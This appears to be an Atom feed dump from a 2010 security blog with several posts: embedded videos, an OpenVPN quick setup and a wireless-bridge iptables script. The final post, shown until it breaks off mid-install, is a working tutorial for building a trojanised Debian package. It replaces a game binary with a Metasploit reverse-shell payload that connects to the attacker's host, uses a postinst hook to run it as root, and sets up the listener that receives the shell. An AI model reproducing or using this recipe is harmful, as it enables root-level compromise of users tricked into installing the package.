type="html">&lt;div style="text-align: left;"&gt;Awesome high quality video from backtrack.it on using some of ettercap's plug-ins to both mess with network traffic, as well as detect if anyone else is trying to. I'll probably be exploring some of these myself soon.&lt;/div&gt;&lt;br /&gt;
&lt;div style="text-align: center;"&gt;&lt;br /&gt;
&lt;object height="344" width="425"&gt;&lt;param name="movie" value="http://www.youtube.com/v/YOG9aMDyCwI&amp;color1=0xb1b1b1&amp;color2=0xcfcfcf&amp;hl=en_US&amp;feature=player_embedded&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowScriptAccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/YOG9aMDyCwI&amp;color1=0xb1b1b1&amp;color2=0xcfcfcf&amp;hl=en_US&amp;feature=player_embedded&amp;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" allowScriptAccess="always" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/div&gt;&lt;br /&gt;
Watch it full screen... with some good speakers for the music.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8204022780549142603-3618421819417091311?l=www.insecuresystem.org' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/y14aVu7XhFAQ7KFOOcaVhkkqACM/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/y14aVu7XhFAQ7KFOOcaVhkkqACM/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/y14aVu7XhFAQ7KFOOcaVhkkqACM/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/y14aVu7XhFAQ7KFOOcaVhkkqACM/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/insecuresystem/~4/9_BffXJEK9Y" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.insecuresystem.org/feeds/3618421819417091311/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.insecuresystem.org/2010/03/ettercap-plugins.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8204022780549142603/posts/default/3618421819417091311?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8204022780549142603/posts/default/3618421819417091311?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/insecuresystem/~3/9_BffXJEK9Y/ettercap-plugins.html" title="Ettercap Plugins" /><author><name>Neurophobic</name><uri>http://www.blogger.com/profile/14115777918828256014</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="05867391073010406514" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://www.insecuresystem.org/2010/03/ettercap-plugins.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CE8ASHgyeSp7ImA9WxBbEEw.&quot;"><id>tag:blogger.com,1999:blog-8204022780549142603.post-6490808447749706690</id><published>2010-03-07T17:47:00.000-08:00</published><updated>2010-03-07T17:47:29.691-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-03-07T17:47:29.691-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Videos" /><title>A Little Hacker History</title><content type="html">As long as this video stays up on Google, hopefully anyone interested can take the time to watch it. This is the history of Kevin Mitnick, of how the media metaphorically crucified him, and a view of the developing environment of the digital age.&lt;br /&gt;
&lt;br /&gt;
&lt;div style="text-align: center;"&gt;&lt;embed allowfullscreen="true" allowscriptaccess="always" id="VideoPlayback" src="http://video.google.com/googleplayer.swf?docid=-6746139755329108302&amp;amp;hl=en&amp;amp;fs=true" style="height: 326px; width: 400px;" type="application/x-shockwave-flash"&gt;&lt;/embed&gt; &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8204022780549142603-6490808447749706690?l=www.insecuresystem.org' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/CH4_wknXwllNx6UMuoCM6c5iTrg/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/CH4_wknXwllNx6UMuoCM6c5iTrg/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/CH4_wknXwllNx6UMuoCM6c5iTrg/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/CH4_wknXwllNx6UMuoCM6c5iTrg/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/insecuresystem/~4/cZa4XKwUOAM" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.insecuresystem.org/feeds/6490808447749706690/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.insecuresystem.org/2010/03/little-hacker-history.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8204022780549142603/posts/default/6490808447749706690?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8204022780549142603/posts/default/6490808447749706690?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/insecuresystem/~3/cZa4XKwUOAM/little-hacker-history.html" title="A Little Hacker History" /><author><name>Neurophobic</name><uri>http://www.blogger.com/profile/14115777918828256014</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="05867391073010406514" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://www.insecuresystem.org/2010/03/little-hacker-history.html</feedburner:origLink></entry><entry gd:etag="W/&quot;Ck8GRXc_eCp7ImA9WxBUGUQ.&quot;"><id>tag:blogger.com,1999:blog-8204022780549142603.post-8511080670618850629</id><published>2010-03-07T08:53:00.000-08:00</published><updated>2010-03-07T11:40:24.940-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-03-07T11:40:24.940-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Pictures" /><category scheme="http://www.blogger.com/atom/ns#" term="Linux" /><category scheme="http://www.blogger.com/atom/ns#" term="blah" /><title>Street Art</title><content type="html">Normally I'm opposed to graffiti, but this is just too awesome.. &lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_zYnlWpU7s_s/S5PZj4V4HCI/AAAAAAAAADI/oKTjhvQV1ps/s1600-h/linuxonthewall.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="300" src="http://1.bp.blogspot.com/_zYnlWpU7s_s/S5PZj4V4HCI/AAAAAAAAADI/oKTjhvQV1ps/s400/linuxonthewall.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
I wouldn't mind seeing tux and other Linux related art show up around town instead of gang tagging, particularly if the work actually looks good. I have no idea if the above image is real or if it's been shopped at all, I just love the concept, and if it is real Id love for their to be more.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8204022780549142603-8511080670618850629?l=www.insecuresystem.org' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/VDirqlYYRtW-Gy3b4n-qPLtkkQQ/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/VDirqlYYRtW-Gy3b4n-qPLtkkQQ/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/VDirqlYYRtW-Gy3b4n-qPLtkkQQ/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/VDirqlYYRtW-Gy3b4n-qPLtkkQQ/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/insecuresystem/~4/_TgKirSwLn0" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.insecuresystem.org/feeds/8511080670618850629/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.insecuresystem.org/2010/03/street-art.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8204022780549142603/posts/default/8511080670618850629?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8204022780549142603/posts/default/8511080670618850629?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/insecuresystem/~3/_TgKirSwLn0/street-art.html" title="Street Art" /><author><name>Neurophobic</name><uri>http://www.blogger.com/profile/14115777918828256014</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="05867391073010406514" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/_zYnlWpU7s_s/S5PZj4V4HCI/AAAAAAAAADI/oKTjhvQV1ps/s72-c/linuxonthewall.jpg" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://www.insecuresystem.org/2010/03/street-art.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DEMDR3k_eyp7ImA9WxBbEEw.&quot;"><id>tag:blogger.com,1999:blog-8204022780549142603.post-4254483864424705264</id><published>2010-03-07T06:43:00.000-08:00</published><updated>2010-03-07T18:47:56.743-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-03-07T18:47:56.743-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Legal" /><category scheme="http://www.blogger.com/atom/ns#" term="Videos" /><title>Don't Talk to the Police</title><content type="html">It's apparently a video day, so here's a couple more. These two are both very entertaining.. and may be handy information for people to have, particularly those of us that tend to mess with technology in unusual ways.&lt;br /&gt;
&lt;br /&gt;
&lt;div style="text-align: center;"&gt;&lt;object style="height: 344px; width: 425px;"&gt;&lt;param name="movie" value="http://www.youtube.com/v/i8z7NC5sgik"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowScriptAccess" value="always"&gt;&lt;embed src="http://www.youtube.com/v/i8z7NC5sgik" type="application/x-shockwave-flash" allowfullscreen="true" allowScriptAccess="always" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;object style="height: 344px; width: 425px;"&gt;&lt;param name="movie" value="http://www.youtube.com/v/08fZQWjDVKE"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowScriptAccess" value="always"&gt;&lt;embed src="http://www.youtube.com/v/08fZQWjDVKE" type="application/x-shockwave-flash" allowfullscreen="true" allowScriptAccess="always" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8204022780549142603-4254483864424705264?l=www.insecuresystem.org' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/Vlm_uKdd9xnWRd7d3KDW-Jho1yk/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Vlm_uKdd9xnWRd7d3KDW-Jho1yk/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/Vlm_uKdd9xnWRd7d3KDW-Jho1yk/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Vlm_uKdd9xnWRd7d3KDW-Jho1yk/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/insecuresystem/~4/HVukxcCXDGI" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.insecuresystem.org/feeds/4254483864424705264/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.insecuresystem.org/2010/03/dont-talk-to-police.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8204022780549142603/posts/default/4254483864424705264?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8204022780549142603/posts/default/4254483864424705264?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/insecuresystem/~3/HVukxcCXDGI/dont-talk-to-police.html" title="Don't Talk to the Police" /><author><name>Neurophobic</name><uri>http://www.blogger.com/profile/14115777918828256014</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="05867391073010406514" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://www.insecuresystem.org/2010/03/dont-talk-to-police.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUcDRnw7eCp7ImA9WxBUGE4.&quot;"><id>tag:blogger.com,1999:blog-8204022780549142603.post-9006443720674755789</id><published>2010-03-05T15:35:00.000-08:00</published><updated>2010-03-05T15:51:17.200-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-03-05T15:51:17.200-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Linux" /><category scheme="http://www.blogger.com/atom/ns#" term="networking" /><title>Quick VPN</title><content type="html">Here is a fast and simple Open VPN configuration, it has no special features and uses a shared key for access, but you can have a VPN server running in about a minute.&lt;br /&gt;
&lt;br /&gt;
On the server:&lt;br /&gt;
&lt;div style="color: #990000;"&gt;root@bt:/# cd /etc/openvpn&lt;/div&gt;&lt;div style="color: #990000;"&gt;root@bt:/etc/openvpn# openvpn --genkey --secret quick.key&lt;/div&gt;&lt;div style="color: #990000;"&gt;root@bt:/etc/openvpn# vim quickvpn.conf&lt;/div&gt;&lt;div style="color: #3d85c6;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="color: #3d85c6;"&gt;&amp;nbsp; dev tun&lt;br /&gt;
&amp;nbsp; ifconfig 10.0.0.1 10.0.0.2&lt;br /&gt;
&amp;nbsp; secret quick.key&lt;/div&gt;&lt;br /&gt;
&lt;div style="color: #990000;"&gt;root@bt:/etc/openvpn# scp quick.key root@client.tld:.&lt;/div&gt;&lt;span style="color: #990000;"&gt;root@bt:/etc/openvpn# /etc/init.d/openvpn start&lt;/span&gt; &lt;br /&gt;
&lt;br /&gt;
On the client:&lt;br /&gt;
&lt;div style="color: #990000;"&gt;root@zombi:/# cp quick.key /etc/openvpn/.&lt;/div&gt;&lt;div style="color: #990000;"&gt;root@zombi:/# cd /etc/openvpn&lt;/div&gt;&lt;div style="color: #990000;"&gt;root@zombi:/etc/openvpn# vim quickvpnclient.conf&lt;/div&gt;&lt;br /&gt;
&lt;div style="color: #3d85c6;"&gt;&amp;nbsp; remote vpnserver.tld&lt;br /&gt;
&amp;nbsp; dev tun&lt;br /&gt;
&amp;nbsp; ifconfig 10.0.0.2 10.0.0.1&lt;br /&gt;
&amp;nbsp; secret quick.key&lt;/div&gt;&lt;br /&gt;
&lt;div style="color: #990000;"&gt;root@zombi:/etc/openvpn# /etc/init.d/openvpn start&lt;/div&gt;&lt;span style="color: #990000;"&gt;root@zombi:/etc/openvpn# ping 10.0.0.1&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: #990000;"&gt;PING 10.0.0.1 (10.0.0.1) 56(84) bytes of data.&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: #990000;"&gt;64 bytes from 10.0.0.1: icmp_seq=1 ttl=64 time=1.08 ms&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: #990000;"&gt;64 bytes from 10.0.0.1: icmp_seq=2 ttl=64 time=1.27 ms&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: #990000;"&gt;^C&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
If you actually want to build a more permanent and secure vpn system, the Gentoo wiki has a great guide for that: &lt;a href="http://en.gentoo-wiki.com/wiki/OpenVPN"&gt;http://en.gentoo-wiki.com/wiki/OpenVPN&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8204022780549142603-9006443720674755789?l=www.insecuresystem.org' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/yi-jr2ewVOpfsvvIq5c9srfCEpU/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/yi-jr2ewVOpfsvvIq5c9srfCEpU/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/yi-jr2ewVOpfsvvIq5c9srfCEpU/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/yi-jr2ewVOpfsvvIq5c9srfCEpU/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/insecuresystem/~4/dpn7_NuTU-0" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.insecuresystem.org/feeds/9006443720674755789/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.insecuresystem.org/2010/03/quick-vpn.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8204022780549142603/posts/default/9006443720674755789?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8204022780549142603/posts/default/9006443720674755789?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/insecuresystem/~3/dpn7_NuTU-0/quick-vpn.html" title="Quick VPN" /><author><name>Neurophobic</name><uri>http://www.blogger.com/profile/14115777918828256014</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="05867391073010406514" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://www.insecuresystem.org/2010/03/quick-vpn.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0YHQ304fyp7ImA9WxBUGE8.&quot;"><id>tag:blogger.com,1999:blog-8204022780549142603.post-7019653916489445989</id><published>2010-03-05T13:37:00.000-08:00</published><updated>2010-03-05T13:38:52.337-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-03-05T13:38:52.337-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="gentoo" /><category scheme="http://www.blogger.com/atom/ns#" term="Linux" /><category scheme="http://www.blogger.com/atom/ns#" term="ubuntu" /><category scheme="http://www.blogger.com/atom/ns#" term="networking" /><title>Linux Wireless Bridge</title><content type="html">This keeps coming in handy every so often, it's a simple script to turn a Linux laptop into a wireless-to-Ethernet bridge. Today I ended up using it to get networking to a machine in an environment where there were no available ports on the switch to plug into; previously it's been used to provide access to a LAN which had no access to the WAN on its own, but there was a local wireless network which did.&lt;br /&gt;
&lt;br /&gt;
Run this after establishing a wireless connection and connecting to another machine or switch, it will setup the private Ethernet network, iptables rules, forwarding, and the dhcp server. &lt;br /&gt;
&lt;br /&gt;
&lt;div style="color: #3d85c6;"&gt;&lt;span style="font-size: x-small;"&gt;#!/bin/bash&lt;br /&gt;
echo "router build for public interface ath0, private interface eth0"&lt;br /&gt;
echo "--------------------------------------------------------------"&lt;br /&gt;
echo "setting up the wire"&lt;br /&gt;
ifconfig eth0 192.168.0.1 netmask 255.255.255.0&lt;br /&gt;
echo "building nat for 192.168.0.X network"&lt;br /&gt;
&lt;br /&gt;
iptables -t nat -A POSTROUTING -s 192.168.0.0/24 -o ath0 -j MASQUERADE&lt;br /&gt;
&lt;br /&gt;
echo "setting routes between ethernet and wireless"&lt;br /&gt;
iptables -A FORWARD -s 192.168.0.0/24 -o ath0 -j ACCEPT&lt;br /&gt;
iptables -A FORWARD -d 192.168.0.0/24 -m state --state ESTABLISHED,RELATED -i ath0 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
echo "saving"&lt;br /&gt;
sh -c "iptables-save &amp;gt; /etc/iptables.rules"&lt;br /&gt;
&lt;br /&gt;
echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
echo "success!"&lt;br /&gt;
echo "---------------------------------------"&lt;br /&gt;
echo "setting up dhcp for eth0"&lt;br /&gt;
&lt;br /&gt;
echo "option domain-name-servers 4.2.2.2;" &amp;gt; /etc/dhcpd.conf&lt;br /&gt;
&lt;br /&gt;
echo "default-lease-time 60;" &amp;gt;&amp;gt; /etc/dhcpd.conf&lt;br /&gt;
echo "max-lease-time 72;" &amp;gt;&amp;gt; /etc/dhcpd.conf&lt;br /&gt;
&lt;br /&gt;
echo "ddns-update-style none;" &amp;gt;&amp;gt; /etc/dhcpd.conf&lt;br /&gt;
echo "authoritative;" &amp;gt;&amp;gt; /etc/dhcpd.conf&lt;br /&gt;
echo "log-facility local7;" &amp;gt;&amp;gt; /etc/dhcpd.conf&lt;br /&gt;
&lt;br /&gt;
echo "subnet 192.168.0.0 netmask 255.255.255.0 {" &amp;gt;&amp;gt; /etc/dhcpd.conf&lt;br /&gt;
echo "&amp;nbsp; range 192.168.0.100 192.168.0.254;" &amp;gt;&amp;gt; /etc/dhcpd.conf&lt;br /&gt;
echo "&amp;nbsp; option routers 192.168.0.1;" &amp;gt;&amp;gt; /etc/dhcpd.conf&lt;br /&gt;
echo "&amp;nbsp; option domain-name-servers 4.2.2.2;" &amp;gt;&amp;gt; /etc/dhcpd.conf&lt;br /&gt;
echo "}" &amp;gt;&amp;gt; /etc/dhcpd.conf&lt;br /&gt;
&lt;br /&gt;
dhcpd&lt;br /&gt;
&lt;br /&gt;
echo "dhcpd server running for eth0 network"&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
So far this has been tested to work on both Ubuntu and Gentoo.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8204022780549142603-7019653916489445989?l=www.insecuresystem.org' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/ZTE5tkiZa-PhSNNWxbI-4tBzVJY/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/ZTE5tkiZa-PhSNNWxbI-4tBzVJY/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/ZTE5tkiZa-PhSNNWxbI-4tBzVJY/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/ZTE5tkiZa-PhSNNWxbI-4tBzVJY/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/insecuresystem/~4/FGtIGaEth-c" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.insecuresystem.org/feeds/7019653916489445989/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.insecuresystem.org/2010/03/linux-wireless-bridge.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8204022780549142603/posts/default/7019653916489445989?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8204022780549142603/posts/default/7019653916489445989?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/insecuresystem/~3/FGtIGaEth-c/linux-wireless-bridge.html" title="Linux Wireless Bridge" /><author><name>Neurophobic</name><uri>http://www.blogger.com/profile/14115777918828256014</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="05867391073010406514" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://www.insecuresystem.org/2010/03/linux-wireless-bridge.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A04EQn8_cSp7ImA9WxBUFUg.&quot;"><id>tag:blogger.com,1999:blog-8204022780549142603.post-7154699207061867165</id><published>2010-03-02T11:56:00.000-08:00</published><updated>2010-03-02T11:58:23.149-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-03-02T11:58:23.149-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Linux" /><category scheme="http://www.blogger.com/atom/ns#" term="Hacking" /><title>Build Your Own Trojan, Pt. 2</title><content type="html">Not wanting to leave out the Linux side of things, here's a quick rundown of building a Trojan .deb file for owning Ubuntu/Debian users out there. Again, this is an attack that exploits users more than it does any specific system vulnerability, and unfortunately many Linux users.. particularly Ubuntu users (because a large percentage of them are new to computers / Linux / security).. will tend to be very trusting of others that offer them software or provide links to resources, and an unscrupulous attacker can take advantage of that.&lt;br /&gt;
&lt;br /&gt;
All an attacker needs is a .deb, we'll use blast.. its a weird little game where you can turn your display into swiss cheese.&lt;br /&gt;
&lt;br /&gt;
&lt;div style="color: #990000;"&gt;root@zombi:/#apt-get install blast&lt;/div&gt;&lt;br /&gt;
Then make a directory to work in and move the blast package there:&lt;br /&gt;
&lt;br /&gt;
&lt;div style="color: #990000;"&gt;root@zombi:/#mkdir /x&lt;/div&gt;&lt;div style="color: #990000;"&gt;root@zombi:/x# cp /var/cache/apt/archives/blast_1.1-19_amd64.deb .&lt;/div&gt;&lt;div style="color: #990000;"&gt;root@zombi:/x# dpkg -x blast_1.1-19_amd64.deb pkg&lt;/div&gt;&lt;div style="color: #990000;"&gt;root@zombi:/x# mkdir pkg/DEBIAN&lt;/div&gt;&lt;br /&gt;
Next, make a control file that details your new package, this can be as fake or realistic as you like but you must make sure the architecture is set to what your victim will be using (x86 vs amd64), and a post-install script that will run the Trojan binary:&lt;br /&gt;
&lt;br /&gt;
&lt;div style="color: #990000;"&gt;root@zombi:/x# cd pkg/DEBIAN/&lt;/div&gt;&lt;div style="color: #990000;"&gt;root@zombi:/x/pkg/DEBIAN# vim control&lt;/div&gt;&lt;br /&gt;
&lt;i style="color: #3d85c6;"&gt;&amp;nbsp; Package: Blast&lt;br /&gt;
&amp;nbsp; Version: 0.666&lt;br /&gt;
&amp;nbsp; Section: Games And Amusement&lt;br /&gt;
&amp;nbsp; Priority: Optional&lt;br /&gt;
&amp;nbsp; Architecture: i386&lt;br /&gt;
&amp;nbsp; Maintainer: Deceased&lt;br /&gt;
&amp;nbsp; Description: Tojan Test&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div style="color: #990000;"&gt;root@zombi:/x/pkg/DEBIAN# vim postinst&lt;/div&gt;&lt;br /&gt;
&lt;div style="color: #6fa8dc;"&gt;&lt;i&gt;&amp;nbsp; &lt;span style="color: #3d85c6;"&gt;#!/bin/sh&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;i style="color: #3d85c6;"&gt;&amp;nbsp; sudo chmod 2755 /usr/games/blast &amp;amp;&amp;amp; /usr/games/blast &amp;amp; /usr/games/blast &amp;amp;&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: #990000;"&gt;root@zombi:/x/pkg/DEBIAN# chmod 755 postinst &lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Next, set up the payload, this is done just like the windows Trojan only using a Linux shell and a normal binary rather than a .exe, after-which we build the new Trojan .deb package:&lt;br /&gt;
&lt;div style="color: #990000;"&gt;&lt;/div&gt;&lt;div style="color: #990000;"&gt;root@zombi:/x/pkg/DEBIAN# msfpayload linux/x86/shell/reverse_tcp LHOST=192.168.168.13 LPORT=9999 X &amp;gt; /x/pkg/usr/games/blast &lt;/div&gt;&lt;div style="color: #990000;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="color: #990000;"&gt;root@zombi:/x/pkg/DEBIAN# dpkg-deb --build /x/pkg&lt;/div&gt;&lt;div style="color: #990000;"&gt;root@zombi:/x# mv pkg.deb blast_0.666.deb&lt;/div&gt;&lt;br /&gt;
And back to our trusty listener on the attackers machine, again, just like before when exploiting windows:&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: #990000;"&gt;root@zombi:~# msfcli exploit/multi/handler PAYLOAD=linux/x86/shell/reverse_tcp LHOST=192.168.168.13 LPORT=9999 E&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: #990000;"&gt;[*] Please wait while we load the module tree...&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: #990000;"&gt;[*] Started reverse handler on 192.168.168.13:9999 &lt;/span&gt;&lt;br /&gt;
&lt;span style="color: #990000;"&gt;[*] Starting the payload handler...&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Now, the attacker is all set with their Trojan .deb package and only needs to trick a user into running it, the beauty in this particular vector is that in Debian based Linux systems a user must install packages as root or using sudo (ironically a security feature), which means that our Trojan will be executed as root.&lt;br /&gt;
&lt;br /&gt;
---Through social engineering or some other method, the user is convinced to run our infected .deb ---&lt;br /&gt;
&lt;br /&gt;
&lt;div style="color: #990000;"&gt;neurophobic@bt:~$ sudo dpkg -i blast_0.666.deb &lt;br /&gt;
tar: ./control: time stamp 2010-03-02 11:19:22 is 34.574471421 s in the future&lt;br /&gt;
tar: .: time stamp 2010-03-02 11:19:22 is 34.573961287 s in the future&lt;br /&gt;
Selecting previously deselected package blast.&lt;br /&gt;
(Reading database ... 269350 files and directories currently installed.)&lt;br /&gt;
Unpacking blast (from blast_0.666.deb) ...&lt;br /&gt;
Setting up blast (0.666) ...&lt;br /&gt;
